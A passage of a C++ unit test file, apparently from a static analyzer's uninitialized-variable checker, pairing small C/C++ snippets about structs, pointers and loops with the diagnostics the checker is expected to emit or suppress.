\"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: ab.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB &ab) { a = ab.a; }\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB &ab) { a = ab.b; }\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:18] -> [test.cpp:2:49]: (warning) Uninitialized variable: ab.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:4:16]: (error) Uninitialized variable: ab.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" AB ab1;\\n\"\n \" AB ab2 = { ab1.a, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (error) Uninitialized variable: ab1.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" buf[ab.a] = 0;\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:4:12]: (error) Uninitialized variable: ab.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" x = ab;\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:5:9]: (error) Uninitialized variable: ab.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" x = *(&ab);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:5:9]: (error) Uninitialized variable: *(&ab).b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int x;\\n\"\n \" ab.a = (void*)&x;\\n\"\n \" dostuff(&ab,0);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" static void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" static void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" static int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" static int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Element {\\n\"\n \" int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\" // pass struct member by address\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" assign(&ab.a, 0);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\n \"struct Cstring { char *text; int size, alloc; };\\n\"\n \"int maybe();\\n\"\n \"void f() {\\n\"\n \" Cstring res;\\n\"\n \" if ( ! maybe() ) return;\\n\" // <- fp goes away if this is removed\n \" ( ((res).text = (void*)0), ((res).size = (res).alloc = 0) );\\n\" // <- fp goes away if parentheses are removed\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" ab.b = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n valueFlowUninit(\"struct AB { char a[10]; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy(ab.a, STR);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { unsigned char a[10]; };\\n\" // #8999 - cast\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy((char *)ab.a, STR);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { char a[10]; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy(x, ab.a);\\n\"\n \"}\\n\",\n false);\n TODO_ASSERT_EQUALS(\"[test.c:4:16]: (error) Uninitialized variable: ab.a [uninitvar]\\n\", \"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" dosomething(ab.a);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab = getAB();\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // #6769 - calling method that might assign struct members\n valueFlowUninit(\"struct AB { int a; int b; void set(); };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.set();\\n\"\n \" x = ab;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int get() const; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.get();\\n\"\n \" x = ab;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: ab [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; void dostuff() {} };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.dostuff();\\n\"\n \" x = ab;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n valueFlowUninit(\"struct AB { int a; struct { int b; int c; } s; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.s.b = 2;\\n\"\n \" ab.s.c = 3;\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct conf {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void do_something(struct conf ant_conf);\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct conf c;\\n\"\n \" initdata(&c);\\n\"\n \" do_something(c);\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct PIXEL {\\n\"\n \" union {\\n\"\n \" struct { unsigned char red,green,blue,alpha; };\\n\"\n \" unsigned int color;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned char f() {\\n\"\n \" struct PIXEL p1;\\n\"\n \" p1.color = 255;\\n\"\n \" return p1.red;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"int f() {\\n\"\n \" struct AB *ab;\\n\"\n \" for (i = 1; i < 10; i++) {\\n\"\n \" if (condition && (ab = getab()) != NULL) {\\n\"\n \" a = ab->a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"int f(int x) {\\n\"\n \" struct AB *ab;\\n\"\n \" if (x == 0) {\\n\"\n \" ab = getab();\\n\"\n \" }\\n\"\n \" if (x == 0 && (ab != NULL || ab->a == 0)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A { int *x; };\\n\" // declarationId is 0 for \"delete\"\n \"void foo(void *info, void*p);\\n\"\n \"void bar(void) {\\n\"\n \" struct A *delete = 0;\\n\"\n \" foo( info, NULL );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct ABC { int a; int b; int c; };\\n\"\n \"void foo(int x, const struct ABC *abc);\\n\"\n \"void bar(void) {\\n\"\n \" struct ABC abc;\\n\"\n \" foo(123, &abc);\\n\"\n \" return abc.b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: &abc [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct ABC { int a; int b; int c; };\\n\"\n \"void foo() {\\n\"\n \" struct ABC abc;\\n\"\n \" dostuff((uint32_t *)&abc.a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(void) {\\n\"\n \" struct tm t;\\n\"\n \" t.tm_year = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" return ab.b;\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:5:15]: (error) Uninitialized variable: ab.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" return ab.a;\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int a; int b; };\\n\" // #8299\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" s.a = 0;\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized variable: s.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { int a; int b; };\\n\" // #9810\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" return s.a ? 1 : 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: s.a [uninitvar]\\n\", errout_str());\n\n // checkIfForWhileHead\n valueFlowUninit(\"struct FRED {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct FRED fred;\\n\"\n \" fred.a = do_something();\\n\"\n \" if (fred.a == 0) { }\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct FRED {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct FRED fred;\\n\"\n \" fred.a = do_something();\\n\"\n \" if (fred.b == 0) { }\\n\"\n \"}\\n\",\n false);\n ASSERT_EQUALS(\"[test.c:9:13]: (error) Uninitialized variable: fred.b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct Fred { int a; };\\n\"\n \"void f() {\\n\"\n \" struct Fred fred;\\n\"\n \" if (fred.a==1) {}\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"[test.c:4:14]: (error) Uninitialized variable: fred.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { int n; int m; };\\n\"\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" for (s.n = 0; s.n <= 10; s.n++) { }\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void test2() {\\n\"\n \" struct { char type; } s_d;\\n\"\n \" if (foo(&s_d.type)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // for\n valueFlowUninit(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { clear(ab); z = ab.a; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { ab.a = ab.a + 1; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (error) Uninitialized variable: ab.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { init(&ab); z = ab.a; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // address of member\n valueFlowUninit(\"struct AB { int a[10]; int b; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" int *p = ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Reference\n valueFlowUninit(\"struct A { int x; };\\n\"\n \"void foo() {\\n\"\n \" struct A a;\\n\"\n \" int& x = a.x;\\n\"\n \" x = 0;\\n\"\n \" return a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // non static data-member initialization\n valueFlowUninit(\"struct AB { int a=1; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \" int b = ab.b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (error) Uninitialized variable: ab.b [uninitvar]\\n\", errout_str());\n\n // STL class member\n valueFlowUninit(\"struct A {\\n\"\n \" std::map m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown type (C++)\n valueFlowUninit(\"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\",\n true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown type (C)\n valueFlowUninit(\"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"[test.c:7:11]: (error) Uninitialized variable: a.m [uninitvar]\\n\", errout_str());\n\n // Type with constructor\n valueFlowUninit(\"class C { C(); }\\n\"\n \"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" int t[1];\\n\"\n \"};\\n\"\n \"int f(const S* ps) {\\n\"\n \" return ps->t[0];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" S s;\\n\"\n \" s.t[0] = 1;\\n\"\n \" f(&s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" int t[1];\\n\"\n \" int u;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int f(const S* ps) {\\n\"\n \" return ps->t[0];\\n\"\n \"}\\n\"\n \"\\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" S s;\\n\"\n \" s.t[0] = 1;\\n\"\n \" f(&s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct X {\\n\"\n \" int a, b;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" X t;\\n\"\n \"};\\n\"\n \"int f(const S* ps) {\\n\"\n \" return ps->t.a;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" S s;\\n\"\n \" s.t.a = 1;\\n\"\n \" f(&s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"typedef struct { int a; int b; int c; } ABC;\\n\" // #5777\n \"void setabc(int x, const ABC* const abc) {\\n\"\n \" sum = abc->a + abc->b + abc->c;\\n\"\n \"}\\n\"\n \"void f(void) {\\n\"\n \" ABC abc;\\n\"\n \" abc.a = 1;\\n\"\n \" setabc(123, &abc);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:17] -> [test.cpp:3:25]: (warning) Uninitialized variable: abc->b [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { int* p; };\\n\" // #10463\n \"void f(S* in) {\\n\"\n \" S* s;\\n\"\n \" memcpy(in, s, sizeof(S));\\n\"\n \" s->p = NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (error) Uninitialized variable: s [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\" // #11321\n \" int a = 0;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s1;\\n\"\n \" s1.b = 1;\\n\"\n \" S s2 = s1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11460\n valueFlowUninit(\"struct B { int i; };\\n\"\n \" struct H {\\n\"\n \" void e() const;\\n\"\n \" static const B b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" H h;\\n\"\n \" h.e();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11597\n valueFlowUninit(\"void f(size_t f) {\\n\"\n \" struct {\\n\"\n \" int i;\\n\"\n \" enum { offset = 1062 };\\n\"\n \" } s;\\n\"\n \" if (f < s.offset + sizeof(s)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11776 - function call initialises struct array member\n valueFlowUninit(\"typedef struct {\\n\"\n \" int arr[1];\\n\"\n \" int count;\\n\"\n \"} arr_struct;\\n\"\n \"\\n\"\n \"void init(int *a, int b);\\n\"\n \"\\n\"\n \"void foo(arr_struct const *var);\\n\" // <- inconclusive if var->count is used\n \"\\n\"\n \"void uninitvar_FP7() {\\n\"\n \" arr_struct my_st;\\n\"\n \" init(my_st.arr, 12);\\n\" // <- assume that my_st.arr is written\n \" foo(&my_st);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"typedef struct {\\n\"\n \" int arr[1];\\n\"\n \" int count;\\n\"\n \"} arr_struct;\\n\"\n \"\\n\"\n \"void init(int *a, int b);\\n\"\n \"\\n\"\n \"void foo(arr_struct const *var) {\\n\"\n \" x = var->arr[0];\\n\"\n \"}\\n\"\n \"\\n\"\n \"void uninitvar_FP7() {\\n\"\n \" arr_struct my_st;\\n\"\n \" init(my_st.arr, 12);\\n\" // <- assume that my_st.arr is written\n \" foo(&my_st);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\" // #12188\n \" int i;\\n\"\n \" struct T { int j; } t;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s;\\n\"\n \" ++s.i;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" S s;\\n\"\n \" s.i--;\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" S s;\\n\"\n \" s.i &= 3;\\n\"\n \"}\\n\"\n \"void k() {\\n\"\n \" S s;\\n\"\n \" if (++s.i < 3) {}\\n\"\n \"}\\n\"\n \"void m() {\\n\"\n \" S s;\\n\"\n \" ++s.t.j;\\n\"\n \"}\\n\"\n \"void n() {\\n\"\n \" S s;\\n\"\n \" if (s.t.j-- < 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (error) Uninitialized variable: s.i [uninitvar]\\n\"\n \"[test.cpp:11:7]: (error) Uninitialized variable: s.i [uninitvar]\\n\"\n \"[test.cpp:15:7]: (error) Uninitialized variable: s.i [uninitvar]\\n\"\n \"[test.cpp:19:13]: (error) Uninitialized variable: s.i [uninitvar]\\n\"\n \"[test.cpp:23:11]: (error) Uninitialized variable: s.t.j [uninitvar]\\n\"\n \"[test.cpp:27:13]: (error) Uninitialized variable: s.t.j [uninitvar]\\n\",\n errout_str());\n\n valueFlowUninit(\"struct S { int x; };\\n\" // #6933\n \"void f() {\\n\"\n \" int i;\\n\"\n \" S s(i);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int i;\\n\"\n \" S t{ i };\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" int i;\\n\"\n \" std::vector v(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Uninitialized variable: i [uninitvar]\\n\"\n \"[test.cpp:8:10]: (error) Uninitialized variable: i [uninitvar]\\n\"\n \"[test.cpp:12:24]: (error) Uninitialized variable: i [uninitvar]\\n\",\n errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" S(char**);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" char* p;\\n\"\n \" S s(&p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\" // #12354\n \" int i{};\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void f(bool b) {\\n\"\n \" S* p;\\n\"\n \" if (b)\\n\"\n \" p = new S();\\n\"\n \" p->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:5]: (warning) Uninitialized variable: p [uninitvar]\\n\", errout_str());\n\n // #12461\n valueFlowUninit(\"struct stry_type {\\n\"\n \" void *out;\\n\"\n \"};\\n\"\n \"void bar(str_type *items);\\n\"\n \"void foo() {\\n\"\n \" str_type st_arr[1];\\n\"\n \" char arr[5];\\n\"\n \" st_arr[0].out = &arr;\\n\"\n \" bar(st_arr);\\n\"\n \" int len = strlen(arr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct stry_type {\\n\"\n \" void *out;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" str_type st_arr[1];\\n\"\n \" char arr[5];\\n\"\n \" st_arr[0].out = &arr;\\n\"\n \" int len = strlen(arr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:20]: (error) Uninitialized variable: arr [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" void *out;\\n\"\n \"};\\n\"\n \"void bar(S* s);\\n\"\n \"void foo() {\\n\"\n \" S s[1][1];\\n\"\n \" char arr[5];\\n\"\n \" s[0][0].out = &arr;\\n\"\n \" bar(s[0]);\\n\"\n \" int len = strlen(arr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S1 { int x; };\\n\" // #12401\n \"struct S2 { struct S1 s1; };\\n\"\n \"struct S2 f() {\\n\"\n \" struct S2 s2;\\n\"\n \" struct S1* s1 = &s2.s1;\\n\"\n \" s1->x = 0;\\n\"\n \" return s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\" // #12685\n \" explicit S(double v);\\n\"\n \" double m;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" double d;\\n\"\n \" S s(d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (error) Uninitialized variable: d [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" explicit S(double v) : m(v) {}\\n\"\n \" double m;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" double d;\\n\"\n \" S s{ d };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (error) Uninitialized variable: d [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S { int x; int y; };\\n\"\n \"int f() {\\n\"\n \" S s;\\n\"\n \" s.x = 0;\\n\"\n \" return (&s)->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int x; int y; };\\n\"\n \"int f() {\\n\"\n \" S s;\\n\"\n \" s.x = 0;\\n\"\n \" return (&s)->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (error) Uninitialized variable: s.y [uninitvar]\\n\", errout_str());\n }\n\n void valueFlowUninitForLoop()\n {\n valueFlowUninit(\"void f() {\\n\" // #9924\n \" for (unsigned int a = 0, b; a < 42; a++) {\\n\"\n \" std::cout << ++b << std::endl;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Uninitialized variable: b [uninitvar]\\n\", errout_str());\n }\n\n void uninitvar_memberfunction() {\n // # 8715\n valueFlowUninit(\"struct C {\\n\"\n \" int x();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C *c;\\n\"\n \" if (c->x() == 4) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (error) Uninitialized variable: c [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct A { \\n\"\n \" int i; \\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" A a;\\n\"\n \" a.f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_nonmember() {\n valueFlowUninit(\"struct Foo {\\n\"\n \" int bar;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" Foo* foo;\\n\"\n \" foo->bar = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: (error) Uninitialized variable: foo [uninitvar]\\n\", errout_str());\n }\n\n void uninitvarDesignatedInitializers() {\n checkUninitVar(\"struct a { int b; };\\n\"\n \"int main() {\\n\"\n \" char *b;\\n\"\n \" extern int f(struct a *);\\n\"\n \" return f(&(struct a){.b = 0});\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct a { int b, c; };\\n\"\n \"int main() {\\n\"\n \" char *c;\\n\"\n \" extern int f(struct a *);\\n\"\n \" return f(&(struct a){.b = 0, .c = 0});\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void isVariableUsageDeref() {\n // *p\n checkUninitVar(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" char c = *a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: extern const int SIZE;\n checkUninitVar(\"void f() {\\n\"\n \" char a[SIZE+10];\\n\"\n \" char c = *a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" *a += 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int a[10][10];\\n\"\n \" dostuff(*a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" void (*fp[1]) (void) = {function1};\\n\"\n \" (*fp[0])();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void 